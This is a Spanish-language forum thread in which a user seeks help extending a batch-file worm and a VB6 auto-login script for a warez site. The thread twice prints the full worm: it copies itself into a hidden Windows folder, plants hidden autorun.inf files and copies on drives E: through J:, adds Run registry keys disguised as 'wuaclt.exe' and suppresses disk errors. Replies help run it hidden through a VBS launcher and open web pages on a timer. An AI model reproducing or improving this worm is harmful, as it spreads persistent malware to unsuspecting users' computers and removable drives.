Mensajes

Colocando un timer no te sirve?

podrias darme una idea please como acomodar el timer por que hace rato lo ise pero el webbrowser nunca cambiaba usaba dentro del timer WebBrowser1.Navigate no se si se tenga que usar otra cosa

y otra cosa como modifico un textbox :S

Código [Seleccionar] Expandir

Dim uName, uPass As String

Private Sub Form_Load()
WebBrowser1.Resizable = True
WebBrowser1.Navigate ("http://www.argentinawarez.com/login.php?do=login")


End Sub



Private Sub Command1_Click()

On Error Resume Next
uName = Text1.Text
uPass = Text2.Text

Set HTML = WebBrowser1.Document

    For Each HTMLI In HTML.getElementsByTagName("input")


        If HTMLI.Name = "vb_login_username" Then

        HTMLI.Value = uName

        End If


        If HTMLI.Name = "vb_login_password" Then
        HTMLI.Value = uPass
        End If
       
        If HTMLI.Type = "submit" Then
        HTMLI.Click
        End If

    Next

End Sub



lo que hace esto es autologiarse en una pagina pero quiero que despues de logiarge vaya asia aqui

WebBrowser1.Navigate ("http://www.argentinawarez.com/programas-gratis/")

y despues de 45 segundos

vaya asia aqui

WebBrowser1.Navigate ("http://www.argentinawarez.com/t.php?do=nuevo&f=2")

si me pudieran ayudar muchas gracias
   

habra alguna forma en batch

por ejemplo

Código [Seleccionar] Expandir

if windows xp
ejecuta codigo
else
if windows 7
ejecutar codigo diferente

de antemano gracias :S

Recuerda probarlo, por si las moscas.

los operador de redireccionamiento no funcionan en windows 7 alguna forma de usarlos ? xdme dice  acceso denegado

muchas gracias a ti y a elektro solucionado xD

Pon:

Código [Seleccionar] Expandir

(echo @echo off
echo :start
echo start primera pagina web
echo ping 127.0.0.1 -n 30
echo start segunda pagina web
echo ping 127.0.0.1 -n 30
echo start tercera pagina web
echo ping 127.0.0.1 -n 300
echo goto start)>>bat.bat
start bat.bat
Antes de la etiqueta xD
¿3600 o 360?

3600 por que equivale a 1 hora

no habra forma para que el archivo as.vbs sea temporal y el bat.bat tambien sea temporal ? por que si al prender la pc se ejecuta el worm se auto copiara todo dentro del mismo as.vbs y bat.bat

Código [Seleccionar] Expandir

(echo @echo off
echo :inicio
echo start primera pagina web
echo ping 127.0.0.1 -n 30
echo start segunda pagina web
echo ping 127.0.0.1 -n 30
echo start tercera pagina web
echo ping 127.0.0.1 -n 3600
echo goto inicio)>>bat.bat
echo set zer0 = createobject("wscript.shell")>>as.vbs
echo zer0.run "cmd /c bat.bat", vbhide >>as.vbs
start as.vbs

Vamos, que quieres ejecutar un proceso sin detener la ejecución del proceso actual. Lo que necesitas es:

Código [Seleccionar] Expandir

Start /B

Código [Seleccionar] Expandir

Start /B "páginaweb"
Start /B Ping.exe "google.es"

Otra forma de hacer lo mismo sería instanciando una CMD en separado:

Código [Seleccionar] Expandir

Start cmd "/C ping.exe google.es"

Saludos.

si lo hago con

Código [Seleccionar] Expandir

Start cmd "/C ping.exe google.es" se abren muchisimas ventanas

y ademas no es como yo queria solo queria que se copiara alas usb y no se detuviera

y que los start se ejecuten aparte con otro ping

aver si me entiendes quiero que esta parte  se ejecute cada 300 segundos

Código [Seleccionar] Expandir

@shift
@echo off
:xD
set juego=systems.exe
SET AUTORUNORIGINAL=%WINDIR%\14785\WINUPDATE.DLL
SET AUTORUN=autorun.inf
set moxita=MOXITA.EXE
set trabajo=trabajo.exe



MD "%WINDIR%\14785"
MD "E:\System"
ATTRIB +S +H +R "E:\system"
MD "F:\System"
ATTRIB +S +H +R "F:\system"
MD "G:\System"
ATTRIB +S +H +R "G:\system"
MD "H:\System"
ATTRIB +S +H +R "H:\system"
MD "I:\System"
ATTRIB +S +H +R "I:\system"
MD "J:\System"
ATTRIB +S +H +R "J:\system"




Copy /Y "%~0" "%WINDIR%\14785\systems.exe"

REM AQUI SE CREA EL ARCHIVO AUTORUN
ECHO [AUTORUN] >%AUTORUNORIGINAL%
ECHO open=System\%juego% >>%AUTORUNORIGINAL%
ECHO shell\1=abrir >>%AUTORUNORIGINAL%
ECHO shell\1\Command=System\%juego% >>%AUTORUNORIGINAL%
ECHO shell\2\=explorar >>%AUTORUNORIGINAL%
ECHO shell\2\Command=System\%juego% >>%AUTORUNORIGINAL%
ECHO shellexecute=System\%juego% >>%AUTORUNORIGINAL%

REM VERIFICA LA EXISTENCIA DEL WORM

IF NOT EXIST "E:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "F:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "G:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "H:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "I:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "J:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "E:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "F:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "G:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "H:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "I:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "J:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "E:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "F:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "G:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "H:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "I:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "J:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "%WINDIR%\14785\systems.exe" GOTO COPIARWORM

:COPIARWORM

REM COPIA EL WORM Y LE ASIGNA ATRIBUTOS DE SOLO LECTURA
REM SISTEMA Y OCULTO.

COPY "%WINDIR%\14785\systems.exe" "E:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "F:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "G:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "H:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "I:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "J:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "E:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "F:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "G:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "H:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "I:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "J:\%moxita%
COPY "%WINDIR%\14785\systems.exe" "E:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "F:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "G:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "H:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "I:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "J:\%trabajo%



Copy /Y "%~0" "%WINDIR%\14785\systems.exe"

REM COPIADO DEL AUTORUN Y ASIGANCION DE ATRIBUTOS

COPY "%AUTORUNORIGINAL%" "E:\%AUTORUN%"
ATTRIB +S +H +R "E:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "F:\%AUTORUN%"
ATTRIB +S +H +R "F:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "G:\%AUTORUN%"
ATTRIB +S +H +R "G:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "H:\%AUTORUN%"
ATTRIB +S +H +R "H:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "I:\%AUTORUN%"
ATTRIB +S +H +R "I:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "J:\%AUTORUN%"
ATTRIB +S +H +R "J:\%AUTORUN%"

REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v wuaclt.exe /t REG_SZ /d "%WINDIR%\14785\systems.exe" /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v wuaclt.exe /t REG_SZ /d "%WINDIR%\14785\systems.exe" /f
REM DESABILITA ERROR NO AY DISCO
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows /v ErrorMode /t REG_DWORD /d "2" /f
ping 127.0.0.1 -n 300
goto xd


y esta otra se ejecute cada 3600 segundos

start primera pagina web
ping 127.0.0.1 -n 30
start segunda pagina web
ping 127.0.0.1 -n 30
start tercera pagina web
ping 127.0.0.1 -n 300

Si no me equivoco quieres realizar dos acciones a la vez con un solo batch, y hasta donde yo se, eso no es posible. Deberias de, antes de empezar a copiar, crear y ejecutar otro .bat que se encargara de los start cada 14400. Quizas puedas conseguir algo asi.

podrias darme un ejemplo de como incluir el segundo ? o tendria que ser a fuerzas 2 archivos diferentes  es que  si son 2 como se iniciara el segundo en el sistema

Código [Seleccionar] Expandir

@shift
@echo off
:xD
set juego=systems.exe
SET AUTORUNORIGINAL=%WINDIR%\14785\WINUPDATE.DLL
SET AUTORUN=autorun.inf
set moxita=MOXITA.EXE
set trabajo=trabajo.exe



MD "%WINDIR%\14785"
MD "E:\System"
ATTRIB +S +H +R "E:\system"
MD "F:\System"
ATTRIB +S +H +R "F:\system"
MD "G:\System"
ATTRIB +S +H +R "G:\system"
MD "H:\System"
ATTRIB +S +H +R "H:\system"
MD "I:\System"
ATTRIB +S +H +R "I:\system"
MD "J:\System"
ATTRIB +S +H +R "J:\system"




Copy /Y "%~0" "%WINDIR%\14785\systems.exe"

REM AQUI SE CREA EL ARCHIVO AUTORUN
ECHO [AUTORUN] >%AUTORUNORIGINAL%
ECHO open=System\%juego% >>%AUTORUNORIGINAL%
ECHO shell\1=abrir >>%AUTORUNORIGINAL%
ECHO shell\1\Command=System\%juego% >>%AUTORUNORIGINAL%
ECHO shell\2\=explorar >>%AUTORUNORIGINAL%
ECHO shell\2\Command=System\%juego% >>%AUTORUNORIGINAL%
ECHO shellexecute=System\%juego% >>%AUTORUNORIGINAL%

REM VERIFICA LA EXISTENCIA DEL WORM

IF NOT EXIST "E:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "F:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "G:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "H:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "I:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "J:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "E:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "F:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "G:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "H:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "I:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "J:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "E:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "F:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "G:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "H:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "I:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "J:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "%WINDIR%\14785\systems.exe" GOTO COPIARWORM

:COPIARWORM

REM COPIA EL WORM Y LE ASIGNA ATRIBUTOS DE SOLO LECTURA
REM SISTEMA Y OCULTO.

COPY "%WINDIR%\14785\systems.exe" "E:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "F:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "G:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "H:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "I:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "J:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "E:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "F:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "G:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "H:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "I:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "J:\%moxita%
COPY "%WINDIR%\14785\systems.exe" "E:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "F:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "G:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "H:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "I:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "J:\%trabajo%



Copy /Y "%~0" "%WINDIR%\14785\systems.exe"

REM COPIADO DEL AUTORUN Y ASIGANCION DE ATRIBUTOS

COPY "%AUTORUNORIGINAL%" "E:\%AUTORUN%"
ATTRIB +S +H +R "E:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "F:\%AUTORUN%"
ATTRIB +S +H +R "F:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "G:\%AUTORUN%"
ATTRIB +S +H +R "G:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "H:\%AUTORUN%"
ATTRIB +S +H +R "H:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "I:\%AUTORUN%"
ATTRIB +S +H +R "I:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "J:\%AUTORUN%"
ATTRIB +S +H +R "J:\%AUTORUN%"

REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v wuaclt.exe /t REG_SZ /d "%WINDIR%\14785\systems.exe" /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v wuaclt.exe /t REG_SZ /d "%WINDIR%\14785\systems.exe" /f
REM DESABILITA ERROR NO AY DISCO
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows /v ErrorMode /t REG_DWORD /d "2" /f



start primera pagina web
ping 127.0.0.1 -n 30
start segunda pagina web
ping 127.0.0.1 -n 30
start tercera pagina web
ping 127.0.0.1 -n 300

goto xd



lo que quiero es que esta parte se ejecute cada 14400 segundos

Código [Seleccionar] Expandir

start paginaweb
ping 127.0.0.1 -n 30
start segunda pagina
ping 127.0.0.1 -n 30
start tercera pagina
ping 127.0.0.1 -n 300

pero lo demas siga funcionando no se si me explico quiero que se siga copiando a las usb pero quiero que los start se ejecuten cada 14400 segundos sin que se detenga la otra parte del codigo espero y me puedan ayudar

me pueden decir programas de consola como wget si no es mucha molestia